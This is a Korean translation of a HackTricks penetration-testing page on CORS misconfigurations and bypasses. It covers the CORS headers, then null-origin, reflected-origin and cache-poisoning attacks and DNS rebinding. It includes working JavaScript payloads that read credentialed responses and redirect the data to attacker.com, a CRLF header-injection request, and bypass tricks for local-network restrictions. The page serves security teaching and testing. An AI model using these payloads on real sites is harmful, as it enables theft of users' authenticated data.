CORS - Misconfigurations & Bypass

htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 제로부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
공식 PEASS & HackTricks 스왜그를 구매하세요
The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
해킹 요령을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.

CORS가 무엇인가요?

Cross-Origin Resource Sharing (CORS) 표준은 서버가 자산에 액세스할 수 있는 사용자와 외부 소스에서 허용된 HTTP 요청 방법을 정의할 수 있도록 합니다.

동일 출처 정책은 자원을 요청하는 서버와 자원을 호스팅하는 서버가 동일한 프로토콜 (예: http://), 도메인 이름 (예: internal-web.com), 및 포트 (예: 80)를 공유해야 한다는 원칙입니다. 이 정책에 따르면 동일한 도메인 및 포트의 웹 페이지만 자원에 액세스할 수 있습니다.

http://normal-website.com/example/example.html의 경우 동일 출처 정책의 적용은 다음과 같이 설명됩니다:

액세스된 URL 액세스 허용 여부

액세스된 URL	액세스 허용 여부
`http://normal-website.com/example/`	예: 동일한 스키마, 도메인 및 포트
`http://normal-website.com/example2/`	예: 동일한 스키마, 도메인 및 포트
`https://normal-website.com/example/`	아니요: 다른 스키마 및 포트
`http://en.normal-website.com/example/`	아니요: 다른 도메인
`http://www.normal-website.com/example/`	아니요: 다른 도메인
`http://normal-website.com:8080/example/`	아니요: 다른 포트*

http://normal-website.com/example/

예: 동일한 스키마, 도메인 및 포트

http://normal-website.com/example2/

예: 동일한 스키마, 도메인 및 포트

https://normal-website.com/example/

아니요: 다른 스키마 및 포트

http://en.normal-website.com/example/

아니요: 다른 도메인

http://www.normal-website.com/example/

아니요: 다른 도메인

http://normal-website.com:8080/example/

아니요: 다른 포트*

*인터넷 익스플로러는 동일 출처 정책을 시행할 때 포트 번호를 무시하여 이 액세스를 허용합니다.

`Access-Control-Allow-Origin` 헤더

이 헤더는 여러 출처, null 값 또는 와일드카드 *****를 허용할 수 있습니다. 그러나 브라우저는 여러 출처를 지원하지 않으며, 와일드카드 *의 사용은 제한을 받습니다. (와일드카드는 단독으로 사용되어야 하며, Access-Control-Allow-Credentials: true와 함께 사용할 수 없습니다.)

이 헤더는 웹사이트에서 시작된 교차 도메인 자원 요청에 대한 응답으로 서버에 의해 발급되며, 브라우저는 자동으로 Origin 헤더를 추가합니다.

`Access-Control-Allow-Credentials` 헤더

기본적으로, 교차 출처 요청은 쿠키나 인증 헤더와 같은 자격 증명 없이 이루어집니다. 그러나 교차 도메인 서버는 Access-Control-Allow-Credentials 헤더를 **true**로 설정하여 자격 증명이 전송될 때 응답을 읽을 수 있도록 허용할 수 있습니다.

true로 설정하면 브라우저가 자격 증명 (쿠키, 인증 헤더 또는 TLS 클라이언트 인증서)를 전송합니다.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF 사전 요청

교차 도메인 통신에서 사전 요청 이해

특정 조건 하에서 교차 도메인 요청을 시작할 때, 표준이 아닌 HTTP 메소드(HEAD, GET, POST 이외의 것)를 사용하거나 새로운 헤더를 도입하거나 특별한 Content-Type 헤더 값을 사용하는 경우, 사전 요청이 필요할 수 있습니다. 이 사전 요청은 OPTIONS 메소드를 활용하여 서버에게 다가오는 교차 출처 요청의 의도를 알리며 사용할 HTTP 메소드와 헤더를 포함합니다.

교차 출처 자원 공유 (CORS) 프로토콜은 이 사전 확인을 강제하여 요청된 교차 출처 작업의 실행 가능성을 결정하며 허용된 메소드, 헤더, 출처의 신뢰성을 확인합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해를 위해서는 Mozilla Developer Network (MDN)에서 제공하는 포괄적인 가이드를 참조하십시오.

사전 요청의 부재가 응답이 인가 헤더를 포함해야 하는 요구 사항을 없애지 않는다는 점에 주목하는 것이 중요합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청으로부터의 응답을 처리하는 능력이 제한됩니다.

다음은 PUT 메소드와 Special-Request-Header라는 사용자 정의 헤더를 사용하기 위한 사전 요청의 예시를 고려해보십시오:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

다음은 서버가 허용된 메소드, 허용된 출천지, 그리고 다른 CORS 정책 세부사항을 나타내는 헤더를 반환할 수 있습니다. 아래에 표시된 것처럼:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Access-Control-Allow-Headers: 이 헤더는 실제 요청 중에 사용할 수 있는 헤더를 지정합니다. 서버에서 클라이언트로부터의 요청에서 허용된 헤더를 나타내기 위해 설정됩니다.
Access-Control-Expose-Headers: 이 헤더를 통해 서버는 간단한 응답 헤더 외에 응답의 일부로 노출될 수 있는 헤더에 대해 클라이언트에게 알립니다.
Access-Control-Max-Age: 이 헤더는 사전 플라이트 요청의 결과를 캐시할 수 있는 시간을 나타냅니다. 서버는 사전 플라이트 요청에 의해 반환된 정보가 재사용될 수 있는 최대 시간(초)을 설정합니다.
Access-Control-Request-Headers: 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용하려는 HTTP 헤더에 대해 서버에 알립니다.
Access-Control-Request-Method: 또한 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용할 HTTP 메소드를 나타내기 위해 설정됩니다.
Origin: 이 헤더는 브라우저에 의해 자동으로 설정되며, 교차 출처 요청의 출처를 나타냅니다. 서버는 CORS 정책에 따라 들어오는 요청을 허용할지 거부할지 판단하는 데 사용됩니다.

참고로 일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) GET/POST 요청에서는 사전 플라이트 요청이 전송되지 않습니다 (요청이 직접 전송됨), 그러나 응답의 헤더/본문에 액세스하려면 Access-Control-Allow-Origin 헤더를 포함해야 합니다. 따라서 CORS는 CSRF에 대해 보호하지 않지만 도움이 될 수 있습니다.

로컬 네트워크 요청 사전 플라이트 요청

Access-Control-Request-Local-Network: 이 헤더는 클라이언트의 요청에 포함되어 있어서, 조회가 로컬 네트워크 리소스를 대상으로 한 것임을 나타냅니다. 서버에게 요청이 로컬 네트워크 내에서 발생했음을 알리는 표식으로 작용합니다.
Access-Control-Allow-Local-Network: 응답에서 서버는 요청된 리소스가 로컬 네트워크 외부의 엔티티와 공유할 수 있도록 허용된다는 것을 전달하기 위해 이 헤더를 활용합니다. 이는 서로 다른 네트워크 경계를 횡단하여 리소스를 공유할 수 있도록 하며, 보안 프로토콜을 유지하면서 제어된 액세스를 보장합니다.

로컬 네트워크 요청을 허용하는 유효한 응답은 응답에 Access-Controls-Allow-Local_network: true 헤더도 포함되어야 합니다:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

주의 0.0.0.0 IP는 로컬호스트에 액세스하기 위한 요구 사항을 우회하는 데 사용됩니다. 이 IP 주소는 "로컬"로 간주되지 않기 때문입니다.

로컬 네트워크 요구 사항을 우회하는 것도 가능합니다. 이를 위해 로컬 엔드포인트의 공개 IP 주소(예: 라우터의 공개 IP)를 사용할 수 있습니다. 몇 가지 경우에는 공개 IP에 액세스하더라도, 로컬 네트워크에서 액세스하는 경우 허용될 수 있습니다.

Exploitable misconfigurations

Access-Control-Allow-Credentials를 **true**로 설정하는 것이 대부분의 실제 공격에 대한 선행 조건임이 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 보내고 응답을 읽을 수 있도록 허용하여 공격의 효과를 향상시킵니다. 이를 통해 브라우저에 요청을 보내는 것보다 사용자의 쿠키를 활용하는 이점이 줄어듭니다.

Exception: Exploiting Network Location as Authentication

피해자의 네트워크 위치가 인증 수단으로 작용하는 예외가 있습니다. 이를 통해 피해자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하여 인트라넷 애플리케이션에 액세스할 수 있습니다. 이 방법은 DNS 리바인딩과 유사한 영향을 공유하지만 더 간단하게 악용할 수 있습니다.

Reflection of `Origin` in `Access-Control-Allow-Origin`

Origin 헤더의 값이 Access-Control-Allow-Origin에 반영되는 실제 시나리오는 이 두 헤더를 결합하는 제한으로 인해 이론적으로 불가능합니다. 그러나 여러 URL에 대해 CORS를 활성화하려는 개발자는 Origin 헤더의 값을 복사하여 동적으로 Access-Control-Allow-Origin 헤더를 생성할 수 있습니다. 이 접근 방식은 취약점을 도입할 수 있으며, 특히 공격자가 합법적으로 보이도록 설계된 도메인을 사용할 때 검증 논리를 속일 수 있습니다.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

`null` 오리진 악용

null 오리진은 리디렉션이나 로컬 HTML 파일과 같은 상황을 위해 지정된 곳으로, 독특한 위치를 가지고 있습니다. 일부 애플리케이션은 이 오리진을 로컬 개발을 용이하게 하기 위해 화이트리스트에 추가하는데, 이로 인해 샌드박스된 iframe을 통해 웹사이트가 null 오리진을 모방하여 CORS 제한을 우회할 수 있습니다.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

정규 표현식 우회 기법

도메인 화이트리스트를 만나면, 공격자의 도메인을 화이트리스트에 추가하거나 서브도메인 탈취 취약점을 악용하는 등 우회 기회를 테스트하는 것이 중요합니다. 또한, 도메인 유효성 검사에 사용되는 정규 표현식은 도메인 명명 규칙의 세부 사항을 간과할 수 있어 추가적인 우회 기회를 제공할 수 있습니다.

고급 정규 표현식 우회

정규식 패턴은 일반적으로 알파벳, 점(.), 하이픈(-) 문자에 집중하여 다른 가능성을 간과합니다. 예를 들어, 브라우저와 정규식 패턴에서 다르게 해석되는 문자를 포함한 도메인 이름은 보안 검사를 우회할 수 있습니다. Safari, Chrome 및 Firefox가 서브도메인의 밑줄 문자를 처리하는 방식은 이러한 차이가 도메인 유효성 검사 논리를 우회하는 데 어떻게 악용될 수 있는지 보여줍니다.

이 우회 검사에 대한 자세한 정보 및 설정: https://www.corben.io/advanced-cors-techniques/ 및 https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

서브도메인 내 XSS로부터

개발자들은 종종 CORS 악용에 대비하기 위해 방어 메커니즘을 구현하여 정보 요청이 허용된 도메인을 화이트리스트에 추가합니다. 그러나 이러한 예방 조치에도 불구하고 시스템의 보안은 완벽하지 않을 수 있습니다. 화이트리스트에 있는 도메인 중 취약한 서브도메인 하나라도 존재하면 XSS(Cross-Site Scripting)와 같은 다른 취약점을 통해 CORS 악용의 문을 열 수 있습니다.

예를 들어, requester.com 도메인이 다른 도메인인 provider.com에서 리소스에 액세스할 수 있도록 화이트리스트에 추가된 시나리오를 고려해보겠습니다. 서버 측 구성은 다음과 같을 수 있습니다:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

이 설정에서 requester.com의 모든 하위 도메인이 액세스를 허용합니다. 그러나 sub.requester.com과 같은 하위 도메인이 XSS 취약점으로 침해당하면 공격자가 이 취약점을 활용할 수 있습니다. 예를 들어, sub.requester.com에 액세스 권한이 있는 공격자는 XSS 취약점을 악용하여 CORS 정책을 우회하고 provider.com의 리소스에 악의적으로 액세스할 수 있습니다.

서버 측 캐시 독려

이 연구에서

HTTP 헤더 삽입을 통해 서버 측 캐시 독려를 악용함으로써 저장된 Cross-Site Scripting (XSS) 취약점을 유발할 수 있습니다. 이 시나리오는 응용 프로그램이 Origin 헤더를 비법 문자로 살균하지 않을 때 발생하며, 특히 Internet Explorer 및 Edge 사용자에게 취약점을 만들어냅니다. 이러한 브라우저는 (0x0d)을 합법적인 HTTP 헤더 종결자로 취급하여 HTTP 헤더 삽입 취약점을 유발합니다.

다음과 같이 Origin 헤더가 조작된 요청을 고려해보십시오:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

인터넷 익스플로러와 엣지는 응답을 다음과 같이 해석합니다:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

직접적으로 취약점을 악용하여 웹 브라우저가 잘못된 헤더를 보내는 것은 불가능하지만, Burp Suite와 같은 도구를 사용하여 수동으로 생성된 조작된 요청은 서버 측 캐시가 응답을 저장하고 다른 사람에게 무심코 제공할 수 있습니다. 조작된 페이로드는 페이지의 문자 집합을 UTF-7로 변경하는 것을 목표로 하며, 이는 특정 상황에서 스크립트로 실행될 수 있는 문자를 인코딩할 수 있는 능력으로 인해 XSS 취약점과 자주 관련이 있습니다.

저장된 XSS 취약점에 대한 자세한 내용은 PortSwigger를 참조하십시오.

참고: HTTP 헤더 삽입 취약점의 악용, 특히 서버 측 캐시 오염을 통해 사용자가 제공한 모든 입력(포함하여 HTTP 헤더)을 유효성 검사하고 살균하는 것의 중요성을 강조합니다. 이러한 취약점을 방지하기 위해 입력 유효성 검사를 포함한 견고한 보안 모델을 항상 사용하십시오.

클라이언트 측 캐시 오염

이 연구에서

이 시나리오에서는 적절한 인코딩 없이 사용자 지정 HTTP 헤더의 내용을 반영하는 웹 페이지의 인스턴스가 관찰됩니다. 구체적으로, 웹 페이지는 X-User-id 헤더에 포함된 내용을 다시 반영하며, 이는 로드 시에 JavaScript 코드를 실행하도록 설계된 SVG 이미지 태그를 포함할 수 있습니다.

Cross-Origin Resource Sharing (CORS) 정책은 사용자 지정 헤더를 보낼 수 있도록 합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 직접 렌더링되지 않는 경우, 이러한 삽입의 유틸리티는 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. Vary: Origin 헤더가 지정되지 않으면 악의적인 응답이 브라우저에 의해 캐시될 수 있습니다. 결과적으로 이 캐시된 응답은 URL로 이동할 때 직접 렌더링되어 초기 요청 시 직접 렌더링이 필요하지 않습니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 향상시킵니다.

이 공격을 설명하기 위해 JavaScript 예제가 제공되었으며, 이는 JSFiddle을 통해 웹 페이지의 환경에서 실행되도록 설계되었습니다. 이 스크립트는 간단한 작업을 수행합니다: 악의적인 JavaScript를 포함하는 사용자 지정 헤더를 포함한 지정된 URL로 요청을 보냅니다. 성공적인 요청 완료 후, 대상 URL로 이동을 시도하며, 응답이 Vary: Origin 헤더를 올바르게 처리하지 않고 캐시된 경우 주입된 스크립트의 실행을 유도할 수 있습니다.

다음은 이 공격을 실행하는 데 사용된 JavaScript의 요약된 분석입니다:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

우회

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, 또는 Cross-Site Script Inclusion으로도 알려진 이 취약점은 script 태그를 사용하여 리소스를 포함할 때 동일 출처 정책(SOP)이 적용되지 않는 사실을 악용하는 유형의 취약점입니다. 이는 스크립트가 다른 도메인에서 포함될 수 있어야 한다는 필요 때문입니다. 이 취약점을 통해 공격자는 script 태그를 사용하여 포함된 모든 콘텐츠에 액세스하고 읽을 수 있습니다.

이 취약점은 특히 동적 JavaScript 또는 JSONP(JSON with Padding)의 경우에 중요해지며, 특히 쿠키와 같은 환경 권한 정보가 인증에 사용될 때 더욱 중요해집니다. 다른 호스트에서 리소스를 요청할 때 쿠키가 포함되어 공격자에게 접근 가능해집니다.

이 취약점을 이해하고 완화하기 위해 https://github.com/kapytein/jsonp에서 제공되는 BurpSuite 플러그인을 사용할 수 있습니다. 이 플러그인은 웹 애플리케이션에서 XSSI 취약점을 식별하고 해결하는 데 도움이 될 수 있습니다.

여기에서 다양한 유형의 XSSI 및 그들을 어떻게 악용하는지 자세히 알아보세요.

요청에 callback 매개변수를 추가해 보세요. 페이지가 데이터를 JSONP로 보내도록 준비되어 있을 수 있습니다. 이 경우 페이지는 Content-Type: application/javascript로 데이터를 다시 보내며 이는 CORS 정책을 우회합니다.

쉬운 (의미 없는?) 우회

Access-Control-Allow-Origin 제한을 우회하는 한 가지 방법은 웹 애플리케이션에 요청하여 대신 응답을 보내도록 하는 것입니다. 그러나 이 시나리오에서 최종 피해자의 자격 증명은 다른 도메인으로 요청이 이루어지기 때문에 전송되지 않습니다.

CORS-escape: 이 도구는 요청과 함께 헤더를 전달하고 Origin 헤더를 요청된 도메인과 일치하도록 위조하는 프록시를 제공합니다. 이는 CORS 정책을 효과적으로 우회합니다. XMLHttpRequest와 함께 사용하는 예시는 다음과 같습니다:
simple-cors-escape: 이 도구는 요청을 프록시하는 대안적인 방법을 제공합니다. 요청을 그대로 전달하는 대신 서버가 지정된 매개변수로 자체 요청을 수행합니다.

Iframe + 팝업 우회

e.origin === window.origin과 같은 CORS 확인을 우회하기 위해 iframe을 생성하고 새 창을 열어 우회할 수 있습니다. 자세한 내용은 다음 페이지에서 확인할 수 있습니다:

pageIframes in XSS, CSP and SOP

TTL을 통한 DNS 리바인딩

TTL을 통한 DNS 리바인딩은 DNS 레코드를 조작하여 특정 보안 조치를 우회하는 기술입니다. 작동 방식은 다음과 같습니다:

공격자가 웹 페이지를 생성하고 피해자가 해당 페이지에 액세스하도록 합니다.
공격자는 자신의 도메인의 DNS(IP)를 피해자의 웹 페이지를 가리키도록 변경합니다.
피해자의 브라우저는 DNS 응답을 캐시하며, DNS 레코드가 유효한 기간을 나타내는 TTL(Time to Live) 값을 가질 수 있습니다.
TTL이 만료되면 피해자의 브라우저는 새로운 DNS 요청을 수행하며, 이를 통해 공격자는 피해자의 페이지에서 JavaScript 코드를 실행할 수 있습니다.
피해자의 IP를 제어하면서 공격자는 피해자로부터 쿠키를 전송하지 않고도 피해자로부터 정보를 수집할 수 있습니다.

이 기술은 낮은 TTL 값으로도 즉시 이 기술을 악용하는 것을 방지할 수 있는 브라우저의 캐싱 메커니즘이 있음을 유의해야 합니다.

DNS 리바인딩은 피해자가 수행하는 명시적 IP 확인을 우회하는 데 유용하거나 사용자 또는 봇이 동일한 페이지에 오랜 기간 머무르는 시나리오에 유용할 수 있습니다.

기타 일반적인 우회 방법

내부 IP가 허용되지 않는 경우, 0.0.0.0을 금지하는 것을 잊을 수 있음 (Linux 및 Mac에서 작동)
내부 IP가 허용되지 않는 경우, 로컬호스트에 대한 CNAME으로 응답 (Linux 및 Mac에서 작동)
내부 IP가 DNS 응답으로 허용되지 않는 경우, www.corporate.internal과 같은 내부 서비스에 대한 CNAME으로 응답할 수 있음.

DNS Rebidding 무기화

이전 우회 기술 및 다음 도구 사용 방법에 대한 자세한 정보는 Gerald Doussot - DNS Rebinding 공격 상태 및 원점의 특이성 - DEF CON 27 컨퍼런스에서 확인할 수 있습니다.

원점의 특이성은 DNS rebinding 공격을 수행하는 도구입니다. 이 도구에는 공격 서버 DNS 이름의 IP 주소를 대상 기계의 IP 주소로 재바인딩하고 대상 기계의 취약한 소프트웨어를 공격하는 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.

DNS Rebinding에 대한 실제 보호

내부 서비스에서 TLS 사용
데이터에 액세스하기 위해 인증 요청
Host 헤더 유효성 검사
https://wicg.github.io/private-network-access/: 공개 서버가 내부 서버에 액세스하려는 경우 항상 사전 플라이트 요청을 보내는 제안

도구

CORS 정책에서 잘못된 구성을 퍼징

참고 자료

Websec | Uw Cybersecurity Specialist

제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!